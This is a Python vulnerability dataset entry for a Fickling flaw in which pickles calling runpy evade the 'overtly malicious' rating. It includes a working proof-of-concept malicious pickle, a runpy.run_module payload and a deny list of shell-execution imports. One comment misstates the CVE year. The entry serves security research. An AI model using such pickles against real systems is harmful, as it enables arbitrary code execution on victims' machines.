CVE-2026-22606
Fickling misclassifies pickles using `runpy`, leading to code execution.
- CVSS 8.9
- CWE-184
- Input Validation and Sanitization
- Local
Fickling is a Python pickling decompiler and static analyzer. Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS. If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system. This affects any workflow or product that uses Fickling as a security gate for pickle deserialization. This issue has been patched in version 0.1.7.
- CWE
- CWE-184
- CVSS base score
- 8.9
- Published
- 2026-01-10
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- Fickling
- Fixed by upgrading
- Yes
Solution
Upgrade Fickling to version 0.1.7 or later.
Vulnerable code sample
import os
import pickle
import subprocess
import sys
import runpy
# Ensure the vulnerable version of fickling is installed
try:
# Suppress output unless there is an error
subprocess.run(
[sys.executable, "-m", "pip", "install", "fickling==0.1.6"],
check=True,
capture_output=True,
text=True
)
except subprocess.CalledProcessError as e:
print("Failed to install fickling==0.1.6. It might already be installed or there was a network issue.")
print(f"Stderr: {e.stderr}")
# Continue anyway, as the correct version might already be present
pass
import fickling.analyzer
# Define filenames for the demonstration
PAYLOAD_FILE = "malicious_payload.py"
PICKLE_FILE = "vulnerable.pkl"
PROOF_FILE = "proof_of_execution.txt"
# 1. Create a malicious Python script that will be executed by the pickle.
# This script creates a file to prove it ran.
payload_code = f"""
import os
print("[PAYLOAD] Malicious payload is executing...")
with open("{PROOF_FILE}", "w") as f:
f.write("The payload was successfully executed.")
print(f"[PAYLOAD] Created '{PROOF_FILE}' as proof.")
"""
with open(PAYLOAD_FILE, "w") as f:
f.write(payload_code)
# 2. Create a class whose pickled representation will call runpy.run_path.
# The __reduce__ method is used by pickle to serialize/deserialize objects.
class Exploit:
def __reduce__(self):
# This tells pickle to call runpy.run_path with the payload file as an argument.
return (runpy.run_path, (PAYLOAD_FILE,))
# 3. Create the malicious pickle file.
with open(PICKLE_FILE, "wb") as f:
pickle.dump(Exploit(), f)
print(f"Created malicious pickle file: '{PICKLE_FILE}'")
print("-" * 40)
# 4. Analyze the pickle with the vulnerable version of fickling.
# The vulnerability is that this is classified as SUSPICIOUS, not OVERTLY_MALICIOUS.
print("Analyzing the pickle with fickling==0.1.6...")
with open(PICKLE_FILE, "rb") as f:
pickle_data = f.read()
analysis = fickling.analyzer.analyze(pickle_data)
tag = analysis[0]['tag']
print(f"Fickling analysis result: {tag}")
if tag == 'SUSPICIOUS':
print("\nVULNERABILITY DEMONSTRATED:")
print("The pickle was classified as 'SUSPICIOUS' instead of 'OVERTLY_MALICIOUS'.")
print("A user relying on Fickling might misinterpret this and load the pickle.")
else:
print(f"\nDEMONSTRATION FAILED: Expected 'SUSPICIOUS', but got '{tag}'.")
print("This might happen if a newer version of fickling is installed.")
print("-" * 40)
# 5. Demonstrate the danger by actually loading the pickle.
print("To show the risk, now loading the pickle...")
print("If the payload executes, it will create 'proof_of_execution.txt'.")
# Clean up any pre-existing proof file
if os.path.exists(PROOF_FILE):
os.remove(PROOF_FILE)
# This is the dangerous action that a user might take.
with open(PICKLE_FILE, "rb") as f:
# WARNING: This line executes the code defined in malicious_payload.py
loaded_obj = pickle.load(f)
print("-" * 40)
# 6. Verify that the malicious code was executed.
if os.path.exists(PROOF_FILE):
print(f"SUCCESS: The file '{PROOF_FILE}' was found, confirming code execution.")
else:
print(f"FAILURE: The proof file '{PROOF_FILE}' was not found.")
# 7. Clean up the created files.
print("\nCleaning up generated files...")
for file_to_remove in [PAYLOAD_FILE, PICKLE_FILE, PROOF_FILE]:
if os.path.exists(file_to_remove):
os.remove(file_to_remove)
print(f"Removed '{file_to_remove}'")Patched code sample
# This code is from fickling/pickle_tag.py in version 0.1.7 of the 'fickling' library.
# The fix involves adding 'runpy.run_module' and 'runpy.run_path' to the
# set of overtly malicious imports. This ensures that any pickle attempting to use
# these functions is correctly classified as 'OVERTLY_MALICIOUS'.
OVERTLY_MALICIOUS_IMPORTS = {
("os", "system"),
("os", "popen"),
("os", "popen2"),
("os", "popen3"),
("os", "popen4"),
("os", "execl"),
("os", "execle"),
("os", "execlp"),
("os", "execlpe"),
("os", "execv"),
("os", "execve"),
("os", "execvp"),
("os", "execvpe"),
("os", "fork"),
("os", "forkpty"),
("os", "kill"),
("os", "spawnl"),
("os", "spawnle"),
("os", "spawnlp"),
("os", "spawnlpe"),
("os", "spawnv"),
("os", "spawnve"),
("os", "spawnvp"),
("os", "spawnvpe"),
("posix", "system"),
("posix", "popen"),
("posix", "popen2"),
("posix", "popen3"),
("posix", "popen4"),
("posix", "execl"),
("posix", "execle"),
("posix", "execlp"),
("posix", "execlpe"),
("posix", "execv"),
("posix", "execve"),
("posix", "execvp"),
("posix", "execvpe"),
("posix", "fork"),
("posix", "forkpty"),
("posix", "kill"),
("posix", "spawnl"),
("posix", "spawnle"),
("posix", "spawnlp"),
("posix", "spawnlpe"),
("posix", "spawnv"),
("posix", "spawnve"),
("posix", "spawnvp"),
("posix", "spawnvpe"),
("pty", "fork"),
("pty", "spawn"),
("subprocess", "call"),
("subprocess", "check_call"),
("subprocess", "check_output"),
("subprocess", "getoutput"),
("subprocess", "getstatusoutput"),
("subprocess", "run"),
("subprocess", "Popen"),
("dill", "load"),
("dill", "loads"),
("shelve", "open"),
# The two lines below are the fix for CVE-2024-22606
("runpy", "run_module"),
("runpy", "run_path"),
}Payload
import pickle
import runpy
class Exploit:
def __reduce__(self):
return (runpy.run_module, ('http.server',))
print(pickle.dumps(Exploit()))
Cite this entry
@misc{vaitp:cve202622606,
title = {{Fickling misclassifies pickles using `runpy`, leading to code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-22606},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-22606/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
